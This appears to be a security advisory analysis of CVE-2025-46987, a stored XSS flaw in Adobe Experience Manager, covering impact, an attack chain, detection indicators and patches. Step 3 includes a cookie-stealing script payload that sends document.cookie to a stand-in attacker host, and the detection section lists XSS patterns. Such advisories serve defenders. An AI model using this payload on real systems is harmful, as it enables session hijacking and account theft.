CVE-2025-46987: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46987 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch available via Adobe's security advisory. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. A low-privileged attacker can submit malicious JavaScript payloads into vulnerable AEM form fields; the input is stored server-side and later rendered without proper sanitization or output encoding in victims' browsers. Exploitation requires user interaction — a victim must navigate to the page containing the compromised field — and low privileges on the AEM instance, but no special configuration is needed beyond having write access to the affected form fields (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within the AEM application. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim (such as content modification or privilege escalation within AEM), and potential phishing attacks. Confidentiality and integrity are both impacted at a low level, while availability is not directly affected (Adobe Advisory).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation. The EPSS score is approximately 0.029% (very low probability of exploitation in the near term). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a low-privileged account on the AEM instance and victim interaction, which somewhat limits opportunistic exploitation (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, accessible via the network.
2. Obtain low-privileged access: Register or use an existing low-privileged AEM author or contributor account with write access to content or form fields.
3. Inject malicious payload: Navigate to a vulnerable AEM form field (e.g., a text input in a page component or content fragment) and submit a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Payload persistence: The malicious script is stored server-side within the AEM content repository (JCR) without proper sanitization.
5. Victim triggers execution: When a victim (e.g., an AEM administrator or another user) browses to the page containing the compromised field, the injected JavaScript executes in their browser within the AEM application context.
6. Achieve objective: The attacker harvests session cookies, performs actions on behalf of the victim, or pivots to further attacks within the AEM environment (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing encoded script tags or JavaScript event handlers in request bodies.
• File System / Content Repository: Presence of <script> tags, JavaScript URIs (javascript:), or HTML event attributes (onerror=, onload=) in stored AEM content nodes (JCR properties) that are not part of legitimate authored content.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after accessing AEM-authored pages, potentially carrying cookie or session data as query parameters.
• Process/Application: Unexpected JavaScript execution errors or console warnings in browser developer tools when accessing specific AEM pages, indicating injected script activity.

Adobe has released patches addressing this vulnerability: upgrade to AEM 6.5.23.0 or later for on-premise deployments, or AEM Cloud Service 2025.5.0 or later. As interim mitigations, organizations should implement strict input validation and output encoding for all user-submitted content, deploy a Web Application Firewall (WAF) configured to detect and block XSS payloads, and restrict write access to AEM form fields to the minimum necessary user set. Reviewing and sanitizing existing stored content for injected scripts is also recommended (Adobe Advisory).